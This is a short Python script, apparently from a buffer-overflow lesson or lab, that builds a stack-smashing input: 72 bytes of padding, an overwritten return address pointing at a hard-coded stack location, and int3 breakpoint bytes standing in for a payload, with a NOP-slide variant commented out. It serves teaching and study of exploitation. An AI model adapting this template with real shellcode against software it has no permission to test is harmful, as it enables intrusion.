import struct # This is for a 64 bit architecture # 64 bytes for the character string plus 8 bytes for the LEAVE (or ENTER) instruction # this should take us to the RETURN instruction padding = "\x01"*72 # Point the EIP at the stack eip = struct.pack("Q", 0x7fffffffde00) # Trip the code into a CPU debugger (also known as int3), # prevents a segmentation fault from halting the application payload = "\xCC"*8 # NOP slide # payload = "\x90"*100+"\xCC" print padding + eip + payload